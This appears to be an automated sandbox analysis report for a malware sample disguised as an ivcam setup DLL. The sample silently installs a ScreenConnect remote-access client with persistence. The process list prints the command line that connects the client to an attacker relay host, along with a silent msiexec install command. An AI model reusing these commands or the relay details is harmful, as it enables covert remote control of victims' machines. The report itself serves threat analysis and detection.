Analysis

  • max time kernel
    149s
  • max time network
    144s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260709-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    10/07/2026, 06:04

General

  • Target
    ivcam/dsetup.dll
  • Size 57.6MB
  • Sample260710-gs2ktaft21
  • SHA256 b4d0f84e44a782b5c98c48a34a5442bde600f59e451a067f5ea28d3cbe528966
  • MD5 SHA1 SHA512 SSDEEP TLSH

Malware Config

Signatures

  • Sets service image path in registry 3 TTPs 1 IoCs

    This determines the executable launched when a service starts. It can be used to establish persistence.

  • Signed with revoked ConnectWise certificate 4 IoCs

    Binary is signed using a ConnectWise certificate revoked for key compromise.

  • Event Triggered Execution: Component Object Model Hijacking 1 TTPs

    Adversaries may establish persistence by executing malicious content triggered by hijacked references to Component Object Model (COM) objects.

  • Executes dropped EXE 4 IoCs
  • Loads dropped DLL 22 IoCs
  • Checks for any installed AV software in registry 1 TTPs 3 IoCs
  • Enumerates connected drives 3 TTPs 23 IoCs

    Attempts to read the root path of hard drives other than the default C: drive.

  • Boot or Logon Autostart Execution: Authentication Package 1 TTPs 1 IoCs

    Suspicious Windows Authentication Registry Modification.

  • Drops file in System32 directory 27 IoCs
  • Drops file in Program Files directory 19 IoCs
  • Drops file in Windows directory 27 IoCs
  • Program crash 1 IoCs
  • System Location Discovery: System Language Discovery 1 TTPs 8 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Inno Setup is an open-source installation builder for Windows applications. 3 IoCs

    Inno Setup installer

  • Modifies data under HKEY_USERS 9 IoCs
  • Modifies registry class 37 IoCs
  • Suspicious behavior: EnumeratesProcesses 4 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of SetWindowsHookEx 4 IoCs
  • Suspicious use of WriteProcessMemory 8 IoCs

Processes

  • C:\Windows\system32\rundll32.exe
    rundll32.exe C:\Users\Admin\AppData\Local\Temp\ivcam\dsetup.dll,#1
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:2472
    • C:\Windows\SysWOW64\rundll32.exe
      rundll32.exe C:\Users\Admin\AppData\Local\Temp\ivcam\dsetup.dll,#1
      2⤵
      • Checks for any installed AV software in registry
      • Drops file in Windows directory
      • System Location Discovery: System Language Discovery
      • Suspicious use of WriteProcessMemory
      PID:3944
      • C:\Users\Admin\AppData\Local\Temp\0e4ccf22.exe
        "C:\Users\Admin\AppData\Local\Temp\0e4ccf22.exe"
        3⤵
        • Executes dropped EXE
        • System Location Discovery: System Language Discovery
        • Suspicious use of WriteProcessMemory
        PID:4576
        • C:\Users\Admin\AppData\Local\Temp\is-GN1SN.tmp\0e4ccf22.tmp
          "C:\Users\Admin\AppData\Local\Temp\is-GN1SN.tmp\0e4ccf22.tmp" /SL5="$40010,45808603,321024,C:\Users\Admin\AppData\Local\Temp\0e4ccf22.exe"
          4⤵
          • Executes dropped EXE
          • System Location Discovery: System Language Discovery
          PID:944
      • C:\Windows\SysWOW64\msiexec.exe
        msiexec.exe /i C:\Users\Admin\AppData\Local\Temp\8908D6F0.tmp /qn REBOOT=ReallySuppress
        3⤵
        • System Location Discovery: System Language Discovery
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of SetWindowsHookEx
        PID:6088
      • C:\Windows\SysWOW64\WerFault.exe
        C:\Windows\SysWOW64\WerFault.exe -u -p 3944 -s 608
        3⤵
        • Program crash
        PID:764
  • C:\Windows\system32\msiexec.exe
    C:\Windows\system32\msiexec.exe /V
    1⤵
    • Enumerates connected drives
    • Boot or Logon Autostart Execution: Authentication Package
    • Drops file in Program Files directory
    • Drops file in Windows directory
    • Modifies data under HKEY_USERS
    • Modifies registry class
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:624
    • C:\Windows\syswow64\MsiExec.exe
      C:\Windows\syswow64\MsiExec.exe -Embedding 15775E834D84A5199D2D1540D6741EFB
      2⤵
      • Loads dropped DLL
      • System Location Discovery: System Language Discovery
      • Suspicious use of SetWindowsHookEx
      • Suspicious use of WriteProcessMemory
      PID:2180
      • C:\Windows\SysWOW64\rundll32.exe
        rundll32.exe "C:\Windows\Installer\MSI354F.tmp",zzzzInvokeManagedCustomActionOutOfProc SfxCA_240727468 2 ScreenConnect.InstallerActions!ScreenConnect.ClientInstallerActions.FixupServiceArguments
        3⤵
        • Loads dropped DLL
        • Drops file in Windows directory
        • System Location Discovery: System Language Discovery
        PID:2724
    • C:\Windows\syswow64\MsiExec.exe
      C:\Windows\syswow64\MsiExec.exe -Embedding 6B83B2DF1120AB95C01387852BA4AA4D E Global\MSI0000
      2⤵
      • Loads dropped DLL
      • Drops file in Windows directory
      • System Location Discovery: System Language Discovery
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of SetWindowsHookEx
      PID:924
  • C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -pss -s 440 -p 3944 -ip 3944
    1⤵
      PID:4852
    • C:\Program Files (x86)\VCRuntimePackage_x86\ScreenConnect.ClientService.exe
      "C:\Program Files (x86)\VCRuntimePackage_x86\ScreenConnect.ClientService.exe" "?e=Access&y=Guest&h=micro.vpn-expres.top&p=8041&s=cb45c81d-c97e-4974-b47a-157d40aba8c3&k=BgIAAACkAABSU0ExAAgAAAEAAQA16%2fTGkJuKzmPRwtRqFIPq13C%2fhtZf5v2d0VocPf2i%2b3Qx5O2NsVXQpvw%2bDd9crifO7s0xDarU2tV5Mfx%2fAFHd8Uk5q%2fFEcKbao%2fNyt1sCKoWPxRwGPNazIErFVLdUTQAwUAHFFsH%2fAI%2bRLJhl53QVgHaYcZAhLsW0gJdUEjQokrPA7dQtgjAToq%2bBOT0FoIQceYrnMpYerjcVsThac04E%2beYcPVy%2fX3y4P%2bFdCGFMSFmkoBtL9mQV1YSVfKuOD5dmo4kAFnoInvt2ZKpqL0zIbLs5ws5B56lGEuu17ZB9lCWs%2bcL2UUa4OP9AG%2bb%2bkZEMbgRLYySi4kViPUQndES6&c=ivcam&c=&c=&c=&c=&c=&c=&c="
      1⤵
      • Sets service image path in registry
      • Executes dropped EXE
      • Loads dropped DLL
      • Drops file in System32 directory
      • System Location Discovery: System Language Discovery
      • Modifies data under HKEY_USERS
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of WriteProcessMemory
      PID:408
      • C:\Program Files (x86)\VCRuntimePackage_x86\ScreenConnect.WindowsClient.exe
        "C:\Program Files (x86)\VCRuntimePackage_x86\ScreenConnect.WindowsClient.exe" "RunRole" "2a4afab4-3299-46ef-997d-27ae1008bbc6" "User"
        2⤵
        • Executes dropped EXE
        PID:3508

    Network

          MITRE ATT&CK Enterprise v16

          Replay Monitor

          Loading Replay Monitor...

          Downloads

          e59310c.rbs

          • Path C:\Config.Msi\e59310c.rbs
          • Size 214KB
          • SHA256 3a69a99db1fc0247ff40de095385848d63f19d9198f652e4e8a82b401eacd896
          • MD5 SHA1 SHA512 SSDEEP TLSH

          Client.Override.en-US.resources

          • Path C:\Program Files (x86)\VCRuntimePackage_x86\Client.Override.en-US.resources
          • Size 227B
          • SHA256 38bdcc2ec25e7464dde7293b5a6ec64eea4b9d9f6fb8c36fdcc5677a6f55b721
          • MD5 SHA1 SHA512 TLSH

          Client.Override.resources

          • Path C:\Program Files (x86)\VCRuntimePackage_x86\Client.Override.resources
          • Size 4KB
          • SHA256 4b1351ff1b4c54808ba17abb1ba810c55066657688099457ec7568d0ed091335
          • MD5 SHA1 SHA512 SSDEEP TLSH

          Client.en-US.resources

          • Path C:\Program Files (x86)\VCRuntimePackage_x86\Client.en-US.resources
          • Size 49KB
          • SHA256 b26b7a988aba7f94473468cae82846bb672a422b016ed1907d187a5c3bb0f8a0
          • MD5 SHA1 SHA512 SSDEEP TLSH

          Client.resources

          • Path C:\Program Files (x86)\VCRuntimePackage_x86\Client.resources
          • Size 28KB
          • SHA256 95b299c8c163731707e8134946059a28c668c2b65b48f57eac2847dbe4beb63e
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.Client.dll

          • Path C:\Program Files (x86)\VCRuntimePackage_x86\ScreenConnect.Client.dll
          • Size 192KB
          • SHA256 33f8abd5722ab19aeacfe24319cda4433b0bf9b482dad4865685975c11c15534
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.ClientService.dll

          • Path C:\Program Files (x86)\VCRuntimePackage_x86\ScreenConnect.ClientService.dll
          • Size 67KB
          • SHA256 554ba93c3c34fc5cf6cb49ac7285069e853aa5543219e012bf0e9ca4400c3255
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.ClientService.exe

          • Path C:\Program Files (x86)\VCRuntimePackage_x86\ScreenConnect.ClientService.exe
          • Size 93KB
          • SHA256 4fe150116089d55c48748a97985f1d18054db5758020b193ad31d63e849b57f6
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.WindowsAuthenticationPackage.dll

          • Path C:\Program Files (x86)\VCRuntimePackage_x86\ScreenConnect.WindowsAuthenticationPackage.dll
          • Size 254KB
          • SHA256 a5b8f0070201e4f26260af6a25941ea38bd7042aefd48cd68b9acf951fa99ee5
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.WindowsClient.exe

          • Path C:\Program Files (x86)\VCRuntimePackage_x86\ScreenConnect.WindowsClient.exe
          • Size 595KB
          • SHA256 465e9cee277db463677b2b593809e794279d64314b4fa736aa93780a0f7e3975
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.WindowsClient.exe.config

          • Path C:\Program Files (x86)\VCRuntimePackage_x86\ScreenConnect.WindowsClient.exe.config
          • Size 266B
          • SHA256 87c640d3184c17d3b446a72d5f13d643a774b4ecc7afbedfd4e8da7795ea8077
          • MD5 SHA1 SHA512 TLSH

          ScreenConnect.WindowsCredentialProvider.dll

          • Path C:\Program Files (x86)\VCRuntimePackage_x86\ScreenConnect.WindowsCredentialProvider.dll
          • Size 837KB
          • SHA256 36ad3b4858ee84fd2a73522a9ad25d177f492a65e1cbc6630169dc820dc2b63d
          • MD5 SHA1 SHA512 SSDEEP TLSH

          app.config

          • Path C:\Program Files (x86)\VCRuntimePackage_x86\app.config
          • Size 1KB
          • SHA256 a203fcde97bbea157f0620429cfc017aa501e86f8f5b7aa6080579fe313404d1
          • MD5 SHA1 SHA512 TLSH

          system.config

          • Path C:\Program Files (x86)\VCRuntimePackage_x86\system.config
          • Size 958B
          • SHA256 36d7af4a76f321642cfd01c00b51e454182e118c6ce17916e59c755e2d0e5e93
          • MD5 SHA1 SHA512 TLSH

          0e4ccf22.exe

          • Path C:\Users\Admin\AppData\Local\Temp\0e4ccf22.exe
          • Size 44.2MB
          • SHA256 6b195b20a40da4afa627e41c5c6bdba5cb59dc5efe2c484f77218ed82a7fda17
          • MD5 SHA1 SHA512 SSDEEP TLSH

          8908D6F0.tmp

          • Path C:\Users\Admin\AppData\Local\Temp\8908D6F0.tmp
          • Size 12.8MB
          • SHA256 b9b3095c002aa94edef93750a49bdf4104e1061bdf13d492a4bdc917fd87c96d
          • MD5 SHA1 SHA512 SSDEEP TLSH

          0e4ccf22.tmp

          • Path C:\Users\Admin\AppData\Local\Temp\is-GN1SN.tmp\0e4ccf22.tmp
          • Size 1.3MB
          • SHA256 9cce716d82b72a99db601b466d1376ea797ec3a8f98b77b8b96c9a7abd2c291b
          • MD5 SHA1 SHA512 SSDEEP TLSH

          MSI354F.tmp

          • Path C:\Windows\Installer\MSI354F.tmp
          • Size 1.0MB
          • SHA256 64ddf83b4acb09b518518e07a8ffd0446d256ff842c113efa1cdb6378fdf1018
          • MD5 SHA1 SHA512 SSDEEP TLSH

          Microsoft.Deployment.WindowsInstaller.dll

          • Path C:\Windows\Installer\MSI354F.tmp-\Microsoft.Deployment.WindowsInstaller.dll
          • Size 172KB
          • SHA256 3e54286e348ebd3d70eaed8174cca500455c3e098cdd1fccb167bc43d93db29d
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.Core.dll

          • Path C:\Windows\Installer\MSI354F.tmp-\ScreenConnect.Core.dll
          • Size 539KB
          • SHA256 51d9dcd755a424b8b3122350bbcc02d453880c39636fb1e0265084161afca983
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.InstallerActions.dll

          • Path C:\Windows\Installer\MSI354F.tmp-\ScreenConnect.InstallerActions.dll
          • Size 11KB
          • SHA256 8f4a00b34720f19b0e67dc957085ad1986e58bb16a1abcc580dab21bcd61382d
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.Windows.dll

          • Path C:\Windows\Installer\MSI354F.tmp-\ScreenConnect.Windows.dll
          • Size 1.6MB
          • SHA256 602a640e2d9f94acfe47d3946f7dd088992431e24b670d40233e1ae6e9e270ad
          • MD5 SHA1 SHA512 SSDEEP TLSH

          MSI4B78.tmp

          • Path C:\Windows\Installer\MSI4B78.tmp
          • Size 202KB
          • SHA256 3cff4ac91288a0ff0c13278e73b282a64e83d089c5a61a45d483194ab336b852
          • MD5 SHA1 SHA512 SSDEEP TLSH

          4st25xql.newcfg

          • Path C:\Windows\SysWOW64\config\systemprofile\AppData\Local\VCRuntimePackage_x86\4st25xql.newcfg
          • Size 584B
          • SHA256 75bde725337840ffe1b72bbcbc646e05c32583aadd56a3a1a0948d311411d74f
          • MD5 SHA1 SHA512 TLSH

          5srnac0h.newcfg

          • Path C:\Windows\SysWOW64\config\systemprofile\AppData\Local\VCRuntimePackage_x86\5srnac0h.newcfg
          • Size 584B
          • SHA256 83c801e0f6d93fa59a3b8c1eba0db1a3ee89d6af24de66955d0573fa65e7cccc
          • MD5 SHA1 SHA512 TLSH

          culzskcp.newcfg

          • Path C:\Windows\SysWOW64\config\systemprofile\AppData\Local\VCRuntimePackage_x86\culzskcp.newcfg
          • Size 584B
          • SHA256 7208a2b0f4f01e33d7b0a295543014b5cc4e589d05bff86bff2c55c7c261d724
          • MD5 SHA1 SHA512 TLSH

          ehb0fhoe.newcfg

          • Path C:\Windows\SysWOW64\config\systemprofile\AppData\Local\VCRuntimePackage_x86\ehb0fhoe.newcfg
          • Size 584B
          • SHA256 8cda574c986581ac210148a42c0e9bf144c3a86ce9560a94d62c33fbc9f30ca5
          • MD5 SHA1 SHA512 TLSH

          h43iwpnu.newcfg

          • Path C:\Windows\SysWOW64\config\systemprofile\AppData\Local\VCRuntimePackage_x86\h43iwpnu.newcfg
          • Size 584B
          • SHA256 8a37a6e2a0b941b17398454e73b17aedf62ad5780f23231104b12d387ef5748e
          • MD5 SHA1 SHA512 TLSH

          qi3hyqzq.newcfg

          • Path C:\Windows\SysWOW64\config\systemprofile\AppData\Local\VCRuntimePackage_x86\qi3hyqzq.newcfg
          • Size 584B
          • SHA256 3d509f64d444b8b43052290e09b4cb2024a8f7ba68d8525195ec226a8de25c90
          • MD5 SHA1 SHA512 TLSH

          sljen4i5.newcfg

          • Path C:\Windows\SysWOW64\config\systemprofile\AppData\Local\VCRuntimePackage_x86\sljen4i5.newcfg
          • Size 584B
          • SHA256 2fcf343121566ea9eeea6b50b5fe45e641f33499fb95dc28d7c5821e6bc53535
          • MD5 SHA1 SHA512 TLSH

          user.config

          • Path C:\Windows\SysWOW64\config\systemprofile\AppData\Local\VCRuntimePackage_x86\user.config
          • Size 584B
          • SHA256 2eecb44a680255a395a6e8c3e658f8000a96d621f7be099795b9be4b91ca84a5
          • MD5 SHA1 SHA512 TLSH

          xl1qi1kl.newcfg

          • Path C:\Windows\SysWOW64\config\systemprofile\AppData\Local\VCRuntimePackage_x86\xl1qi1kl.newcfg
          • Size 584B
          • SHA256 f23e4fb437abd74bb66dc26155ccc104413b7aff5ac8d4ccc53234ce02878442
          • MD5 SHA1 SHA512 TLSH

          memory/408-127-0x0000000004AB0000-0x0000000004B85000-memory.dmp

          memory/408-123-0x00000000048C0000-0x0000000004952000-memory.dmp

          memory/408-125-0x0000000004630000-0x0000000004671000-memory.dmp

          memory/408-121-0x00000000045F0000-0x0000000004626000-memory.dmp

          memory/408-96-0x0000000004330000-0x0000000004348000-memory.dmp

          memory/408-107-0x00000000045A0000-0x00000000045F0000-memory.dmp

          memory/944-240-0x0000000000400000-0x000000000055E000-memory.dmp

          memory/944-244-0x0000000000400000-0x000000000055E000-memory.dmp

          memory/944-278-0x0000000000400000-0x000000000055E000-memory.dmp

          memory/944-263-0x0000000000400000-0x000000000055E000-memory.dmp

          memory/944-143-0x0000000000400000-0x000000000055E000-memory.dmp

          memory/944-261-0x0000000000400000-0x000000000055E000-memory.dmp

          memory/944-259-0x0000000000400000-0x000000000055E000-memory.dmp

          memory/944-149-0x0000000000400000-0x000000000055E000-memory.dmp

          memory/944-242-0x0000000000400000-0x000000000055E000-memory.dmp

          memory/944-225-0x0000000000400000-0x000000000055E000-memory.dmp

          memory/944-209-0x0000000000400000-0x000000000055E000-memory.dmp

          memory/944-177-0x0000000000400000-0x000000000055E000-memory.dmp

          memory/944-206-0x0000000000400000-0x000000000055E000-memory.dmp

          memory/944-192-0x0000000000400000-0x000000000055E000-memory.dmp

          memory/2724-44-0x0000000003B20000-0x0000000003B4E000-memory.dmp

          memory/2724-48-0x0000000003B60000-0x0000000003B6A000-memory.dmp

          memory/2724-56-0x0000000005EC0000-0x000000000606C000-memory.dmp

          memory/2724-52-0x0000000005C80000-0x0000000005D0E000-memory.dmp

          memory/2724-57-0x0000000006630000-0x0000000006BEA000-memory.dmp

          memory/3508-144-0x0000000002B90000-0x0000000002BA8000-memory.dmp

          memory/3508-136-0x0000000000A40000-0x0000000000AD8000-memory.dmp

          memory/3508-140-0x000000001BD20000-0x000000001BECC000-memory.dmp

          memory/3508-137-0x0000000002B20000-0x0000000002B56000-memory.dmp

          memory/3508-139-0x000000001B7A0000-0x000000001B82E000-memory.dmp

          memory/3508-145-0x0000000002BB0000-0x0000000002BF1000-memory.dmp

          memory/3508-142-0x0000000002AF0000-0x0000000002B08000-memory.dmp

          memory/3508-141-0x000000001BED0000-0x000000001C058000-memory.dmp

          memory/4576-132-0x0000000000400000-0x0000000000458000-memory.dmp

          memory/4576-13-0x0000000000400000-0x0000000000458000-memory.dmp